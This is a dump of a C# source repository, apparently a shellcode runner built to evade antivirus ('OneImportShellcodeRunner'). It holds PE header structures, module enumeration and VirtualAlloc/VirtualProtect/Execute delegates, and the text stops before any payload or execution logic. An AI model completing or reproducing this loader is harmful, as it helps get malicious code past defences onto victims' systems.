├── .gitignore
├── .vs
└── CGPL
│ ├── FileContentIndex
│ ├── 2ac4b279-1363-405f-b57c-798935355c22.vsidx
│ └── read.lock
│ └── v17
│ └── .suo
├── AesOperation.cs
├── App.config
├── CGPL.csproj
├── CGPL.sln
├── LICENSE
├── Program.cs
├── Properties
└── AssemblyInfo.cs
├── README.md
├── bin
├── Debug
│ └── CGPL.exe.config
└── Release
│ ├── CGPL.exe.config
│ └── OneImportShellcodeRunner.exe.config
├── img
├── aimotivation.png
└── antiscan.png
└── obj
├── Debug
├── .NETFramework,Version=v4.8.AssemblyAttributes.cs
├── CGPL.csproj.AssemblyReference.cache
├── CGPL.csproj.CoreCompileInputs.cache
├── CGPL.csproj.FileListAbsolute.txt
├── CGPL.csproj.SuggestedBindingRedirects.cache
├── DesignTimeResolveAssemblyReferences.cache
├── DesignTimeResolveAssemblyReferencesInput.cache
├── OneImportShellcodeRunner.csproj.AssemblyReference.cache
├── OneImportShellcodeRunner.csproj.CoreCompileInputs.cache
├── OneImportShellcodeRunner.csproj.FileListAbsolute.txt
└── OneImportShellcodeRunner.csproj.SuggestedBindingRedirects.cache
└── Release
├── .NETFramework,Version=v4.8.AssemblyAttributes.cs
├── CGPL.csproj.AssemblyReference.cache
├── CGPL.csproj.CoreCompileInputs.cache
├── CGPL.csproj.FileListAbsolute.txt
├── CGPL.csproj.SuggestedBindingRedirects.cache
├── DesignTimeResolveAssemblyReferencesInput.cache
├── OneImportShellcodeRunner.csproj.AssemblyReference.cache
├── OneImportShellcodeRunner.csproj.CoreCompileInputs.cache
├── OneImportShellcodeRunner.csproj.FileListAbsolute.txt
└── OneImportShellcodeRunner.csproj.SuggestedBindingRedirects.cache
/.gitignore:
--------------------------------------------------------------------------------
1 | # Prerequisites
2 | *.d
3 |
4 | # Object files
5 | *.o
6 | *.ko
7 | *.obj
8 | *.elf
9 |
10 | # Linker output
11 | *.ilk
12 | *.map
13 | *.exp
14 |
15 | # Precompiled Headers
16 | *.gch
17 | *.pch
18 |
19 | # Libraries
20 | *.lib
21 | *.a
22 | *.la
23 | *.lo
24 |
25 | # Shared objects (inc. Windows DLLs)
26 | *.dll
27 | *.so
28 | *.so.*
29 | *.dylib
30 |
31 | # Executables
32 | *.exe
33 | *.out
34 | *.app
35 | *.i*86
36 | *.x86_64
37 | *.hex
38 |
39 | # Debug files
40 | *.dSYM/
41 | *.su
42 | *.idb
43 | *.pdb
44 |
45 | # Kernel Module Compile Results
46 | *.mod*
47 | *.cmd
48 | .tmp_versions/
49 | modules.order
50 | Module.symvers
51 | Mkfile.old
52 | dkms.conf
53 |
--------------------------------------------------------------------------------
/.vs/CGPL/FileContentIndex/2ac4b279-1363-405f-b57c-798935355c22.vsidx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/.vs/CGPL/FileContentIndex/2ac4b279-1363-405f-b57c-798935355c22.vsidx
--------------------------------------------------------------------------------
/.vs/CGPL/FileContentIndex/read.lock:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/.vs/CGPL/FileContentIndex/read.lock
--------------------------------------------------------------------------------
/.vs/CGPL/v17/.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/.vs/CGPL/v17/.suo
--------------------------------------------------------------------------------
/AesOperation.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Security.Cryptography;
4 |
5 |
6 | namespace CGPL
7 | {
8 | public class AesOperation
9 | {
10 | public static string EncryptString(byte[] key, string plainText)
11 | {
12 | byte[] iv = new byte[16];
13 | byte[] array;
14 |
15 | using (Aes aes = Aes.Create())
16 | {
17 | aes.BlockSize = 128;
18 | aes.KeySize = 256;
19 | aes.Key = key;
20 | aes.IV = iv;
21 | //aes.Padding = PaddingMode.None;
22 | ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);
23 |
24 | using (MemoryStream memoryStream = new MemoryStream())
25 | {
26 | using (CryptoStream cryptoStream = new CryptoStream((Stream)memoryStream, encryptor, CryptoStreamMode.Write))
27 | {
28 | using (StreamWriter streamWriter = new StreamWriter((Stream)cryptoStream))
29 | {
30 | streamWriter.Write(plainText);
31 | }
32 |
33 | array = memoryStream.ToArray();
34 | }
35 | }
36 | }
37 |
38 | return Convert.ToBase64String(array);
39 | }
40 |
41 | public static string DecryptString(byte[] key, string cipherText)
42 | {
43 | byte[] iv = new byte[16];
44 | byte[] buffer = Convert.FromBase64String(cipherText);
45 |
46 | using (Aes aes = Aes.Create())
47 | {
48 | aes.BlockSize = 128;
49 | aes.KeySize = 256;
50 | aes.Key = key;
51 | aes.IV = iv;
52 | // aes.Padding = PaddingMode.None;
53 | ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);
54 |
55 | using (MemoryStream memoryStream = new MemoryStream(buffer))
56 | {
57 | using (CryptoStream cryptoStream = new CryptoStream((Stream)memoryStream, decryptor, CryptoStreamMode.Read))
58 | {
59 | using (StreamReader streamReader = new StreamReader((Stream)cryptoStream))
60 | {
61 | return streamReader.ReadToEnd();
62 | }
63 | }
64 | }
65 | }
66 | }
67 | }
68 | }
69 |
--------------------------------------------------------------------------------
/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/CGPL.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {F5AC61BE-90E1-4A44-AABB-F9B4FB60CB84}
8 | Exe
9 | CGPL
10 | CGPL
11 | v4.8
12 | 512
13 | true
14 | true
15 |
16 |
17 | x64
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | true
26 |
27 |
28 | x64
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 | true
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
--------------------------------------------------------------------------------
/CGPL.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.3.32825.248
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CGPL", "CGPL.csproj", "{F5AC61BE-90E1-4A44-AABB-F9B4FB60CB84}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {F5AC61BE-90E1-4A44-AABB-F9B4FB60CB84}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {F5AC61BE-90E1-4A44-AABB-F9B4FB60CB84}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {F5AC61BE-90E1-4A44-AABB-F9B4FB60CB84}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {F5AC61BE-90E1-4A44-AABB-F9B4FB60CB84}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {80ABF5FB-CF82-4ADD-9127-74136AF96650}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Security.Cryptography;
4 | using System.Text;
5 |
6 | namespace CGPL
7 | {
8 | internal class Program
9 | {
10 |
11 | //IMAGE_DOS_HEADER from pinvoke
12 | [StructLayout(LayoutKind.Sequential)]
13 | public struct IMAGE_DOS_HEADER
14 | {
15 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
16 | public char[] e_magic; // Magic number
17 | public UInt16 e_cblp; // Bytes on last page of file
18 | public UInt16 e_cp; // Pages in file
19 | public UInt16 e_crlc; // Relocations
20 | public UInt16 e_cparhdr; // Size of header in paragraphs
21 | public UInt16 e_minalloc; // Minimum extra paragraphs needed
22 | public UInt16 e_maxalloc; // Maximum extra paragraphs needed
23 | public UInt16 e_ss; // Initial (relative) SS value
24 | public UInt16 e_sp; // Initial SP value
25 | public UInt16 e_csum; // Checksum
26 | public UInt16 e_ip; // Initial IP value
27 | public UInt16 e_cs; // Initial (relative) CS value
28 | public UInt16 e_lfarlc; // File address of relocation table
29 | public UInt16 e_ovno; // Overlay number
30 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
31 | public UInt16[] e_res1; // Reserved words
32 | public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
33 | public UInt16 e_oeminfo; // OEM information; e_oemid specific
34 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
35 | public UInt16[] e_res2; // Reserved words
36 | public Int32 e_lfanew; // File address of new exe header
37 |
38 | private string _e_magic
39 | {
40 | get { return new string(e_magic); }
41 | }
42 |
43 | public bool isValid
44 | {
45 | get { return _e_magic == "MZ"; }
46 | }
47 | }
48 |
49 | //IMAGE FILE HEADER from winsecurity github OffensiveC# repo
50 | [StructLayout(LayoutKind.Sequential)]
51 | public struct IMAGE_FILE_HEADER
52 | {
53 | public UInt16 Machine;
54 | public UInt16 NumberOfSections;
55 | public UInt32 TimeDateStamp;
56 | public UInt32 PointerToSymbolTable;
57 | public UInt32 NumberOfSymbols;
58 | public UInt16 SizeOfOptionalHeader;
59 | public UInt16 Characteristics;
60 | }
61 |
62 | public enum MachineType : ushort
63 | {
64 | ///
65 | /// The content of this field is assumed to be applicable to any machine type
66 | ///
67 | Unknown = 0x0000,
68 | ///
69 | /// Intel 386 or later processors and compatible processors
70 | ///
71 | I386 = 0x014c,
72 | R3000 = 0x0162,
73 | ///
74 | /// MIPS little endian
75 | ///
76 | R4000 = 0x0166,
77 | R10000 = 0x0168,
78 | ///
79 | /// MIPS little-endian WCE v2
80 | ///
81 | WCEMIPSV2 = 0x0169,
82 | ///
83 | /// Alpha AXP
84 | ///
85 | Alpha = 0x0184,
86 | ///
87 | /// Hitachi SH3
88 | ///
89 | SH3 = 0x01a2,
90 | ///
91 | /// Hitachi SH3 DSP
92 | ///
93 | SH3DSP = 0x01a3,
94 | ///
95 | /// Hitachi SH4
96 | ///
97 | SH4 = 0x01a6,
98 | ///
99 | /// Hitachi SH5
100 | ///
101 | SH5 = 0x01a8,
102 | ///
103 | /// ARM little endian
104 | ///
105 | ARM = 0x01c0,
106 | ///
107 | /// Thumb
108 | ///
109 | Thumb = 0x01c2,
110 | ///
111 | /// ARM Thumb-2 little endian
112 | ///
113 | ARMNT = 0x01c4,
114 | ///
115 | /// Matsushita AM33
116 | ///
117 | AM33 = 0x01d3,
118 | ///
119 | /// Power PC little endian
120 | ///
121 | PowerPC = 0x01f0,
122 | ///
123 | /// Power PC with floating point support
124 | ///
125 | PowerPCFP = 0x01f1,
126 | ///
127 | /// Intel Itanium processor family
128 | ///
129 | IA64 = 0x0200,
130 | ///
131 | /// MIPS16
132 | ///
133 | MIPS16 = 0x0266,
134 | ///
135 | /// Motorola 68000 series
136 | ///
137 | M68K = 0x0268,
138 | ///
139 | /// Alpha AXP 64-bit
140 | ///
141 | Alpha64 = 0x0284,
142 | ///
143 | /// MIPS with FPU
144 | ///
145 | MIPSFPU = 0x0366,
146 | ///
147 | /// MIPS16 with FPU
148 | ///
149 | MIPSFPU16 = 0x0466,
150 | ///
151 | /// EFI byte code
152 | ///
153 | EBC = 0x0ebc,
154 | ///
155 | /// RISC-V 32-bit address space
156 | ///
157 | RISCV32 = 0x5032,
158 | ///
159 | /// RISC-V 64-bit address space
160 | ///
161 | RISCV64 = 0x5064,
162 | ///
163 | /// RISC-V 128-bit address space
164 | ///
165 | RISCV128 = 0x5128,
166 | ///
167 | /// x64
168 | ///
169 | AMD64 = 0x8664,
170 | ///
171 | /// ARM64 little endian
172 | ///
173 | ARM64 = 0xaa64,
174 | ///
175 | /// LoongArch 32-bit processor family
176 | ///
177 | LoongArch32 = 0x6232,
178 | ///
179 | /// LoongArch 64-bit processor family
180 | ///
181 | LoongArch64 = 0x6264,
182 | ///
183 | /// Mitsubishi M32R little endian
184 | ///
185 | M32R = 0x9041
186 | }
187 | public enum MagicType : ushort
188 | {
189 | IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b,
190 | IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
191 | }
192 | public enum SubSystemType : ushort
193 | {
194 | IMAGE_SUBSYSTEM_UNKNOWN = 0,
195 | IMAGE_SUBSYSTEM_NATIVE = 1,
196 | IMAGE_SUBSYSTEM_WINDOWS_GUI = 2,
197 | IMAGE_SUBSYSTEM_WINDOWS_CUI = 3,
198 | IMAGE_SUBSYSTEM_POSIX_CUI = 7,
199 | IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9,
200 | IMAGE_SUBSYSTEM_EFI_APPLICATION = 10,
201 | IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11,
202 | IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12,
203 | IMAGE_SUBSYSTEM_EFI_ROM = 13,
204 | IMAGE_SUBSYSTEM_XBOX = 14
205 |
206 | }
207 | public enum DllCharacteristicsType : ushort
208 | {
209 | RES_0 = 0x0001,
210 | RES_1 = 0x0002,
211 | RES_2 = 0x0004,
212 | RES_3 = 0x0008,
213 | IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040,
214 | IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080,
215 | IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100,
216 | IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200,
217 | IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400,
218 | IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800,
219 | RES_4 = 0x1000,
220 | IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000,
221 | IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000
222 | }
223 |
224 | [StructLayout(LayoutKind.Sequential)]
225 | public struct IMAGE_DATA_DIRECTORY
226 | {
227 | public UInt32 VirtualAddress;
228 | public UInt32 Size;
229 | }
230 |
231 | [StructLayout(LayoutKind.Explicit)]
232 | public struct IMAGE_OPTIONAL_HEADER64
233 | {
234 | [FieldOffset(0)]
235 | public MagicType Magic;
236 |
237 | [FieldOffset(2)]
238 | public byte MajorLinkerVersion;
239 |
240 | [FieldOffset(3)]
241 | public byte MinorLinkerVersion;
242 |
243 | [FieldOffset(4)]
244 | public uint SizeOfCode;
245 |
246 | [FieldOffset(8)]
247 | public uint SizeOfInitializedData;
248 |
249 | [FieldOffset(12)]
250 | public uint SizeOfUninitializedData;
251 |
252 | [FieldOffset(16)]
253 | public uint AddressOfEntryPoint;
254 |
255 | [FieldOffset(20)]
256 | public uint BaseOfCode;
257 |
258 | [FieldOffset(24)]
259 | public ulong ImageBase;
260 |
261 | [FieldOffset(32)]
262 | public uint SectionAlignment;
263 |
264 | [FieldOffset(36)]
265 | public uint FileAlignment;
266 |
267 | [FieldOffset(40)]
268 | public ushort MajorOperatingSystemVersion;
269 |
270 | [FieldOffset(42)]
271 | public ushort MinorOperatingSystemVersion;
272 |
273 | [FieldOffset(44)]
274 | public ushort MajorImageVersion;
275 |
276 | [FieldOffset(46)]
277 | public ushort MinorImageVersion;
278 |
279 | [FieldOffset(48)]
280 | public ushort MajorSubsystemVersion;
281 |
282 | [FieldOffset(50)]
283 | public ushort MinorSubsystemVersion;
284 |
285 | [FieldOffset(52)]
286 | public uint Win32VersionValue;
287 |
288 | [FieldOffset(56)]
289 | public uint SizeOfImage;
290 |
291 | [FieldOffset(60)]
292 | public uint SizeOfHeaders;
293 |
294 | [FieldOffset(64)]
295 | public uint CheckSum;
296 |
297 | [FieldOffset(68)]
298 | public SubSystemType Subsystem;
299 |
300 | [FieldOffset(70)]
301 | public DllCharacteristicsType DllCharacteristics;
302 |
303 | [FieldOffset(72)]
304 | public ulong SizeOfStackReserve;
305 |
306 | [FieldOffset(80)]
307 | public ulong SizeOfStackCommit;
308 |
309 | [FieldOffset(88)]
310 | public ulong SizeOfHeapReserve;
311 |
312 | [FieldOffset(96)]
313 | public ulong SizeOfHeapCommit;
314 |
315 | [FieldOffset(104)]
316 | public uint LoaderFlags;
317 |
318 | [FieldOffset(108)]
319 | public uint NumberOfRvaAndSizes;
320 |
321 | [FieldOffset(112)]
322 | public IMAGE_DATA_DIRECTORY ExportTable;
323 |
324 | [FieldOffset(120)]
325 | public IMAGE_DATA_DIRECTORY ImportTable;
326 |
327 | [FieldOffset(128)]
328 | public IMAGE_DATA_DIRECTORY ResourceTable;
329 |
330 | [FieldOffset(136)]
331 | public IMAGE_DATA_DIRECTORY ExceptionTable;
332 |
333 | [FieldOffset(144)]
334 | public IMAGE_DATA_DIRECTORY CertificateTable;
335 |
336 | [FieldOffset(152)]
337 | public IMAGE_DATA_DIRECTORY BaseRelocationTable;
338 |
339 | [FieldOffset(160)]
340 | public IMAGE_DATA_DIRECTORY Debug;
341 |
342 | [FieldOffset(168)]
343 | public IMAGE_DATA_DIRECTORY Architecture;
344 |
345 | [FieldOffset(176)]
346 | public IMAGE_DATA_DIRECTORY GlobalPtr;
347 |
348 | [FieldOffset(184)]
349 | public IMAGE_DATA_DIRECTORY TLSTable;
350 |
351 | [FieldOffset(192)]
352 | public IMAGE_DATA_DIRECTORY LoadConfigTable;
353 |
354 | [FieldOffset(200)]
355 | public IMAGE_DATA_DIRECTORY BoundImport;
356 |
357 | [FieldOffset(208)]
358 | public IMAGE_DATA_DIRECTORY IAT;
359 |
360 | [FieldOffset(216)]
361 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
362 |
363 | [FieldOffset(224)]
364 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
365 |
366 | [FieldOffset(232)]
367 | public IMAGE_DATA_DIRECTORY Reserved;
368 | }
369 |
370 | [StructLayout(LayoutKind.Explicit)]
371 | public struct IMAGE_NT_HEADERS64
372 | {
373 | [FieldOffset(0)]
374 | public UInt32 Signature;
375 |
376 | [FieldOffset(4)]
377 | public IMAGE_FILE_HEADER FileHeader;
378 |
379 | [FieldOffset(24)]
380 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader;
381 |
382 | }
383 |
384 | [StructLayout(LayoutKind.Sequential)]
385 | public struct IMAGE_EXPORT_DIRECTORY
386 | {
387 | public UInt32 Characteristics;
388 | public UInt32 TimeDateStamp;
389 | public UInt16 MajorVersion;
390 | public UInt16 MinorVersion;
391 | public UInt32 Name;
392 | public UInt32 Base;
393 | public UInt32 NumberOfFunctions;
394 | public UInt32 NumberOfNames;
395 | public UInt32 AddressOfFunctions; // RVA from base of image
396 | public UInt32 AddressOfNames; // RVA from base of image
397 | public UInt32 AddressOfNameOrdinals; // RVA from base of image
398 | }
399 |
400 |
401 |
402 | [DllImport("Kernel32.dll")]
403 | public static extern IntPtr CreateToolhelp32Snapshot(
404 | UInt32 dwFlags,
405 | UInt32 th32ProcessID
406 | );
407 |
408 |
409 | [StructLayout(LayoutKind.Sequential, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
410 | public struct MODULEENTRY32W
411 | {
412 | internal uint dwSize;
413 | internal uint th32ModuleID;
414 | internal uint th32ProcessID;
415 | internal uint GlblcntUsage;
416 | internal uint ProccntUsage;
417 | internal IntPtr modBaseAddr;
418 | internal uint modBaseSize;
419 | internal IntPtr hModule;
420 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
421 | internal string szModule;
422 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)]
423 | internal string szExePath;
424 | }
425 |
426 | [DllImport("Kernel32.dll")]
427 | public static extern bool Module32FirstW(
428 | IntPtr hSnapshot,
429 | ref MODULEENTRY32W lpme
430 | );
431 |
432 |
433 | [DllImport("Kernel32.dll")]
434 | public static extern bool Module32NextW(
435 | IntPtr hSnapshot,
436 | ref MODULEENTRY32W lpme
437 | );
438 |
439 |
440 | public delegate IntPtr VirtualAllocHelp(
441 | IntPtr lpAddress,
442 | int dwSize,
443 | UInt32 flAllocationType,
444 | UInt32 flProtect
445 | );
446 |
447 | public delegate bool VirtualProtectHelp(
448 | IntPtr lpAddress,
449 | int dwSize,
450 | UInt32 flNewProtect,
451 | out uint lpflOldProtect
452 | );
453 |
454 | public delegate void Execute();
455 |
456 |
457 |
458 | public static IntPtr GetHandleToModule(IntPtr snapshothandle, string module) {
459 |
460 |
461 | MODULEENTRY32W me = new MODULEENTRY32W();
462 | me.dwSize = (UInt32)Marshal.SizeOf(typeof(MODULEENTRY32W));
463 |
464 | bool res = Module32FirstW(snapshothandle, ref me);
465 | if (!res)
466 | {
467 | return IntPtr.Zero;
468 | }
469 |
470 | while (Module32NextW(snapshothandle, ref me))
471 | {
472 |
473 | if (me.szModule.ToLower() == module.ToLower()) {
474 |
475 |
476 | return me.modBaseAddr;
477 | }
478 | }
479 | return IntPtr.Zero;
480 |
481 | }
482 |
483 | public static byte[] GetSha256(string value)
484 | {
485 | var data = Encoding.UTF8.GetBytes(value);
486 | var hashData = new SHA256Managed().ComputeHash(data);
487 | return hashData;
488 |
489 | }
490 |
